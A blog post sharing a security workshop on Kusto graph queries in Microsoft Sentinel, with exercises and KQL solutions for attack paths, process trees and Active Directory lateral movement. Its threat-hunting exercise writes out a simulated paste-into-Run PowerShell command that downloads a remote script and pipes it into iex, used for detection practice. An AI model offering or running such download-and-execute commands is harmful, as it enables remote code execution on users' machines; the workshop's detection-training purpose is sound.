Workshop: Kusto Graph Semantics Explained
Ho, ho, ho… In Germany on the 6th of December we celebrate “Nikolaus”. Kids put out one shoe the night before in the hopes that, in the morning, it is filled with nuts, mandarin oranges, chocolate or even small gifts. Lucky for you, it seems that you also put out your shoe last night, because I have a gift for you as well. But please don’t confuse me with Nikolaus ;)
At this years DEATHCon I was fortuned enough to present my workshop about Kusto Graph (Kraph) semantics and now I want to share it with everybody. Let me know on social media if you liked it and if you feel generous you can buy me Glühwein 🔥🍷 .
Lab environment
You definitely should setup a small lab environment to play around and solve the exercises.
- Microsoft Sentinel trial or Log Analytics workspace
- Windows Server 2022 / 2025
- Installed in Azure or onboarded to Azure Arc
- Eventlog forwarding configured for Sysmon logs
XPath Query:Microsoft-Windows-Sysmon/Operational!*
- Install Sysmon with the configuration by Olaf Hartong
Log Analytics functions
- Add the Sysmon parser as a function named Sysmon
- Save the following code as function ActiveDirectoryEdges
// Save as something like ActiveDirectoryEdges
externaldata (SourceNodeId: string, DestinationNodeId: string, DeviceName: string, AccountName: string, AccountSid: string, EdgeDisplayName: string, EdgeType: string, DeviceId: string, LogonType: string, Timestamp: datetime, FirstSessionTimestamp: datetime, ActiveSession: bool) [
h@"https://gist.githubusercontent.com/f-bader/650c20d091f11ce0cf6fcfd21548df53/raw/a310d59fa43bc3855b274849ab101a3e8d4403ad/Edges.csv"
] with (format="csv", ignoreFirstRecord = true)
- Save the following code as function ActiveDirectoryNodes
externaldata (NodeId: string, DeviceId: string, DeviceName: string, NodeDisplayName: string, ObjectType: string, AccountName: string, AccountSid: string, Timestamp: datetime, Tags: dynamic, DistinguishedName: string) [
h@"https://gist.githubusercontent.com/f-bader/650c20d091f11ce0cf6fcfd21548df53/raw/6df770343938898471aca01e4ad639b67f38cf3a/Nodes.csv"
] with (format="csv", ignoreFirstRecord = true)
The workshop
Exercises
Detect a lateral movement path
Task:
Find a path to access node apollo from a node that has attacked another node
Source:
https://learn.microsoft.com/en-us/kusto/query/graph-match-operator slightly modified
let Entities = datatable(name: string, type: string)
[
"Alice", "Person",
"Bob", "Person",
"Eve", "Person",
"Mallory", "Person",
"Apollo", "System"
];
let Actions = datatable(source: string, destination: string, action_type: string)
[
"Alice", "Bob", "communicatesWith",
"Alice", "Apollo", "trusts",
"Bob", "Apollo", "hasPermission",
"Eve", "Alice", "attacks",
"Mallory", "Alice", "attacks",
"Mallory", "Bob", "attacks"
];
Actions
| make-graph source --> destination with Entities on name
| graph-match //ToDo
where // ToDo
project Attacker = attacker.name, Compromised = compromised.name, System = apollo.name
Build process graphs
Preparations
- Make sure Sysmon data from your machine is sent to Sentinel
- Run cmd.exe
- Run powershell.exe within the cmd.exe process
- Run whoami.exe within the powershell.exe process
- Repeat step 3. + 4. a few times
Task:
Create a detection that find all executions of whoami.exe and output the initiating cmd Process Id
Constraint: Use a maximum edge length of 10
Kraphhound - Lateral movement in Active Directory
The queries here are based on static data to familiarizes yourself with the semantics.
- Find all lateral movement path from a compromised user to a sensitive user
- Find the shortest lateral movement path from a compromised user to a sensitive user
- Find the longest lateral movement path from a compromised user to a sensitive user
- Find only path were the user has an active session all the way
ActiveDirectoryEdges
| make-graph SourceNodeId --> DestinationNodeId with ActiveDirectoryNodes on NodeId
| graph-match
For a in-depth blog post about this read more here. But don’t spoil your own challenge.
Threat hunting
Preparations:
- Open Edge / Chrome / Firefox on your virtual machine (must send Sysmon data to Sentinel)
- Copy the following “payload”
powershell.exe -NoExit "(iwr 'https://gist.githubusercontent.com/f-bader/ddbf7c713637e71edc2d155c6a3db675/raw/1994a7db9156ea8ba1e814cdc4ccedbb891e0eb6/sample.ps1').Content | iex; # Hope you are having lots of fun ✅"
- Skip if YOLO: After checking the link and verifying the contents of what you just copied:
- Click Windows Start -> Run or Hit Windows + R
- Paste the “payload” and press enter
- Detect this behavior using graph semantics
Related threat intel and coverage
- https://github.com/JohnHammond/recaptcha-phish
- https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
- https://www.scworld.com/news/secure-your-clipboard-hackers-lure-users-to-copy-and-paste-malware
- https://www.darkreading.com/remote-workforce/cut-paste-tactics-import-malware
- https://answers.microsoft.com/en-us/windows/forum/all/a-website-copied-a-powershell-code-and-asked-me-to/afb33b88-848f-4760-a9dc-7ecfb31602d0
Solutions
Detect a lateral movement path
// Solution:
// Create a graph query that has a path from the attacker node to a compromised node to the appollo node
// Filter the node "apollo" by name
// Filter the edge from the compromised account to apollo to only include "hasPermission"
// Filter the edge from the attacker to the compromised account to only include "attacks"
// Source: https://learn.microsoft.com/en-us/kusto/query/graph-match-operator?view=azure-data-explorer&preserve-view=true#attack-path
// Remark: Modified example
let Entities = datatable(name: string, type: string)
[
"Alice", "Person",
"Bob", "Person",
"Eve", "Person",
"Mallory", "Person",
"Apollo", "System"
];
let Actions = datatable(source: string, destination: string, action_type: string)
[
"Alice", "Bob", "communicatesWith",
"Alice", "Apollo", "trusts",
"Bob", "Apollo", "hasPermission",
"Eve", "Alice", "attacks",
"Mallory", "Alice", "attacks",
"Mallory", "Bob", "attacks"
];
Actions
| make-graph source --> destination with Entities on name
| graph-match (attacker)-[attacks]->(compromised)-[hasPermission]->(apollo)
where apollo.name == "Apollo" and attacks.action_type == "attacks" and hasPermission.action_type == "hasPermission"
project Attacker = attacker.name, Compromised = compromised.name, System = apollo.name
Build process graphs
let ProcessEdges = Sysmon
// Process Create
| where EventID == 1
| summarize
by
Computer,
ProcessId,
ProcessGuid,
ParentProcessId,
ParentProcessGuid,
CommandLine,
Image,
ParentImage
| extend SourceNodeId = hash_many(tolower(Computer), ParentProcessGuid)
| extend DestinationNodeId = hash_many(tolower(Computer), ProcessGuid)
;
let ProcessNodes = Sysmon
// Process Create
| where EventID == 1
| summarize arg_max(TimeGenerated, *) by Computer, ProcessId, ProcessGuid, CommandLine, Image
| extend NodeId = hash_many(tolower(Computer), ProcessGuid);
ProcessEdges
| make-graph SourceNodeId --> DestinationNodeId with ProcessNodes on NodeId
| graph-match
(cmd) -[ProcessPath*1..10]-> (whoami)
where cmd.Image has "cmd.exe" and whoami.Image has "whoami.exe"
project
InitialProcess = cmd.Image,
Path = ProcessPath.Image,
FinalProcess = whoami.CommandLine,
InitialProcessParent = cmd.ParentImage
Kraphhound - Lateral movement in Active Directory
ActiveDirectoryEdges
| make-graph SourceNodeId --> DestinationNodeId with ActiveDirectoryNodes on NodeId
| graph-match
(Account)-[HasPathTo*1 .. 10]->(Administrator)
where HasPathTo.EdgeType in ("HadSession", "AdminTo")
// task 4
// For some reason == true does not work at this point and == 1 has to be used
//where ( ( HasPathTo.EdgeType == "HadSession" and HasPathTo.ActiveSession == 1 ) or HasPathTo.EdgeType == "AdminTo" )
and Administrator.Tags has "Sensitive"
and Account.Tags has "Compromised"
project User = Account.AccountName, Path = todynamic(HasPathTo.EdgeDisplayName), PathEdges=HasPathTo.EdgeType, DomainAdmin = Administrator.AccountName, IsActive = HasPathTo.ActiveSession
// This helps with task 2 + 3
| extend PathLength = array_length(Path)
| summarize by User, tostring(Path), tostring(PathEdges),tostring(IsActive), DomainAdmin, PathLength
Threat hunting
# Sorry, but "Knecht Ruprecht" has lost the answer for this one.
# But here are more hints to steer you in the right direction:
# * What happens after you start the first PowerShell?
# * Look at Sysmon EventID 3
# * One node can have multiple edges of different kind, separate them by comma (it's in the video)